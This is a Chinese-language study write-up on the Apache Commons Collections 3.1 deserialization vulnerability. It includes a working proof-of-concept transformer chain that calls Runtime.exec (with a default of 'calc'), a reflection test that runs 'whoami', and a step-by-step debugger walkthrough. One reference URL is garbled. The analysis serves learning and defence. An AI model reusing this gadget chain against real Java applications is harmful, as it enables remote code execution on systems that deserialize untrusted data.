1. 程式人生 > >Apache Commons Collections 反序列化詳細分析學習總結

Apache Commons Collections 反序列化詳細分析學習總結

0x01.環境準備:

Apache Commons Collections 3.1版本,下載連結參考:

https://www.secfree.com/a/231.html

jd jui地址(將jar包轉化為java原始碼檔案):

https://github.com/java-https://www.secfree.com/a/231.html/jd-gui/releases

配置專案中的jdk版本:

https://blog.csdn.net/qq_22076345/article/details/82392236

設定class位元組碼輸出路徑

https://blog.csdn.net/zZ_life/article/details/51318306

為專案新增jar包

https://www.iteye.com/blog/zyjustin9-2172445

java object array(物件陣列):

object obj[]=new object[5];

建立了一個Object陣列,長度為5,這5個元素的值都是null,然後把建立好的陣列例項的引用賦給obj變數。如果需要為這些元素分配具體的物件,則需要分別指定或用{}符號進行初始化

https://juejin.im/post/5a6ade5c518825733e60acb8 arrays工具類對陣列進行操作

 

 

0x02.環境測試:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class fanshe {
    public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {
        //函式名字,傳參型別,引數值
        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
        Object newobject = transformer.transform(new StringBuffer("hi "));
        System.out.println(newobject);

        Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});
        System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("whoami").getInputStream())).readLine());
    }
}

從以上這段最簡單的測試程式碼開始進行分析,

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

首先例項化了InvokerTransformer的物件,傳入了要執行的方法名,引數型別,以及引數值,在傳入值和型別時,要與java類中定義的變數的型別相一致

 這裡定義的入口引數也可以看出所需要的型別,這裡引數型別為class型別的陣列,接下來第二行

Object newobject = transformer.transform(new StringBuffer("hi"));

此時呼叫了transformer類的transform方法,傳入了一個StringBuffer的一個匿名物件,其中transform函式的定義如下,這個函式是Object型別的,入口引數也為object型別,

 此時如果input不為空,則會呼叫getclass方法得到當前物件的類物件,接下來通過呼叫getmethod方法,呼叫該類物件中的方法,其中傳入的引數為兩個,第一個為需要呼叫的

類中方法的方法名,第二個引數為呼叫的該方法的引數型別,此時getmethod的返回值為Method型別的物件,此時便可以通過呼叫method的invoke方法來實現我們想呼叫的方法的執行

比如此時使用反射機制完成對stringbuffer類的append方法的呼叫,從上圖也可以看到入口引數型別為string,append方法實際上將傳入append的字串拼接到當前stringbuffer字串的後面,然後返回當前字串。

0x03.漏洞原理分析:

感覺這篇文章把這個漏洞的原因講的非常詳細,https://xz.aliyun.com/t/136

Apache Commons Collections 是一個擴充套件了Java標準庫裡的Collection結構的第三方基礎庫

org.apache.commons.collections提供一個類包來擴充套件和增加標準的Java的collection框架,也就是說這些擴充套件也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解為一組物件。具象的collection為set,list,queue等等,它們是集合型別。換一種理解方式,collection是set,list,queue的抽象。

其中有一個介面可以通過反射機制來進行任意函式的呼叫,即InvokeTransformer

 poc如下:

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class collections {
    public static void main(String[] args) {
        String command = (args.length !=0 ) ? args[0] : "calc";
        String[] execArgs = command.split(",");
        Transformer[] tarnsforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class},
                        new Object[] {null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String[].class},
                        new Object[]{execArgs}
                )
        };
        Transformer transformerChain = new ChainedTransformer(tarnsforms);
        Map temoMap = new HashMap<String,Object>();
        Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain);
        exMap.put("by", "SecFree");
    }
}

poc的邏輯可以理解為:

構建BeforeTransformerMap的鍵值對,為其賦值,利用TransformedMap的decorate方法,可以對Map資料結構的key,value進行transforme。

TransformedMap.decorate方法,預期是對Map類的資料結構進行轉化,該方法有三個引數。第一個引數為待轉化的Map物件,第二個引數為Map物件內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空),第三個引數為Map物件內的value要經過的轉化方法。

TransformedMap.decorate(目標Map, key的轉化物件(單個或者鏈或者null), value的轉化物件(單個或者鏈或者null));

poc中對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行。

 Transformer transforms[] = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}
        ),
        new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {0, new Object[0]}
        ),
        new InvokerTransformer("exec",
                new Class[] {String[].class},
                new Object[] {commands}
        )
};

以上的程式碼即為transformer鏈的構成,當完成對這條鏈的轉化,即完成了程式碼執行,以上程式碼相當於執行:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(commands);

0x04.poc斷點除錯分析:

首先第一步定義一個要執行的命令,並且定義transformer鏈,實際上為一個物件陣列

 其中第一個物件為ConstantTransformer的物件,入口引數Runtime.class,也就是通過.class方式,獲取了Runtime這個類的類的物件

這裡賦值給了ConstantTansformer類的iConstant成員變數,具體為啥第一個類物件要為這個類的物件,下文說。

 第二個類物件為InvokerTransformer類的物件,之前已經知道InvokerTransformer類的作用:

        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
        String newobject = transformer.transform(new StringBuffer("hi ")).toString();
        System.out.println(newobject);

通過以上三行即可完成通過反射完成函式呼叫,其中首先要定義一個InvokerTransformer類物件,然後通過呼叫該物件呼叫transformer方法來完成我們所想要的函式的執行

 其類的構造方法中第一個引數即為我們想要呼叫的方法名為getMethod,第二個為引數型別,第三個為引數值,這裡實際上就是通過getMethod呼叫getRuntime函式

 我們已經知道反射的過程為通過getMethod獲取到想要呼叫的函式以後,下一步就是通過invoke函式來傳入我們想要觸發的類物件,從而使我們的目的函式和目標類連起來,

所以此時如上圖所示,呼叫了invoke方法,此時傳入的invoke的引數型別為類的型別物件,引數為類的物件

 

最後一步如上圖所示,為呼叫exec函式,進行程式碼執行,此時引數型別為String陣列,即可以執行多個命令,引數即為之前定義的command,至此為止,transformer物件陣列構造完成,

建立這個陣列的目的就是把後面要執行的函式放入裡面,也就構成了一個函式鏈,接下來就是把transformers當做引數建立一個chainedTransformer物件,而chainedTransformer類有個方法就是就是將一個函式陣列鏈式的執行,即chainedTransformer的transform方法

將會依次呼叫iTransformers陣列中儲存的物件的transform方法,也就是依次執行我們所需要的函式

 如上圖所示就把transformer鏈放到iTransformers變數中,方便後面的呼叫。

 

 如上圖所示,最後三行程式碼即為commons collections反序列化的觸發,首先需要構造一個map物件,並利用java泛型來對hashmap的鍵值型別進行指定,接下來利用TransformedMap類的decorate方法來對map物件進行封裝,其中封裝的作用為指定要轉化的map物件以及map物件中的鍵值要進行的轉化方法(這裡也可以是一個鏈,即我們要賦值的transformerChain),這裡可以指定key,也可以指定value,接下來即通過put方法來對map物件的鍵值進行修改,其中put(key,value)即為將value加入hashMap中,此時將觸發decorate中定義的transformer鏈,進行函式呼叫:

當f7單步執行到put函式,此時觸發transformermap的put方法,因為decorate方法返回的是transformermap類的物件,此時首先轉化key

 在對value進行轉化時將判斷此時valueTransformer是否為空,因為我們之前定義了map的value進行轉化的transformer鏈

 

  

 可以看到此時valueTransformer即為之前decorate中封裝的轉化鏈,所以此時呼叫valueTransformer的transformer方法,入口引數為"secfree",為一個字串

 其中transformer鏈的第一個物件為ConstantTransformer類的物件,此時F7單步步入,可以看到,此時transform函式不管入口的input為什麼,都返回一個iConstant,而iConstant使我們可控的,因此我們在這裡可以返回任意類,此處返回為java.lang.Runtime類的物件

 

 第二次進入迴圈時,可以看到此時object已經變成類java.lang.Runtime的物件

 

 此時進入轉化鏈的第二個invoketransformer類的transform方法,因為之前我們已經知道該類的transform方法能完成函式的呼叫,此時通過.getclass()方法能夠直接獲得java.lang.Runtime的類的型別

 

 此時實際上通過呼叫invoke函式完成了對java.lang.Runtime類的getmethod函式的呼叫(input函式為要反射的類物件),其引數則為getRuntime()(this.iArgs),

 

 即此時返回的即為java.lang.Runtime.getruntime類的物件

 

 

 第三次進入迴圈,此時cls為reflect.Method類的物件,此時可以通過getMethod函式呼叫invoke函式,第三行通過invoke函式呼叫getRuntime類的invoke函式方便後面exec函式的呼叫,此時的input為

 而此時的method為:

java.lang.reflect.Method類提供有關類或介面上單個方法的資訊和訪問許可權。反映的方法可以是類方法或例項方法(包括抽象方法)。
java.lang.reflect.Method.invoke(Object obj, Object... args)方法使用指定的引數呼叫由此Method物件表示的底層方法

由上圖可知此時我們已經知道Method類的變數實際上儲存的為我們需要訪問的方法,而Method.invoke()函式最終返回的是由invoke函式第一個引數所定義的物件以及第二個引數所定義的Method的引數所執行的返回值。

所以此時我們呼叫method.invoke即為呼叫getruntime.invoke,即進入第四輪迴圈時,此時object即為上一輪getruntime.invoke()函式的返回值也就是當前Java應用程式相關的執行時物件Runtime

  第四次迴圈進入時,此時就要進行呼叫exec函式進行執行calc,此時通過getclass得到Runtime物件所屬的類為java.lang.Runtime,接著通過getmethod獲取java.lang.runtime類的exec方法

 第三行也就是method.invoke反射呼叫執行java.lang.Runtime類的exec函式,引數即為calc,即此時彈出計算器。

0x05.參考:

https://www.secfree.com/a/231.html

http://blog.orleven./2017/11/11/java-deserialize/

https://forum.90sec.com/t/topic/89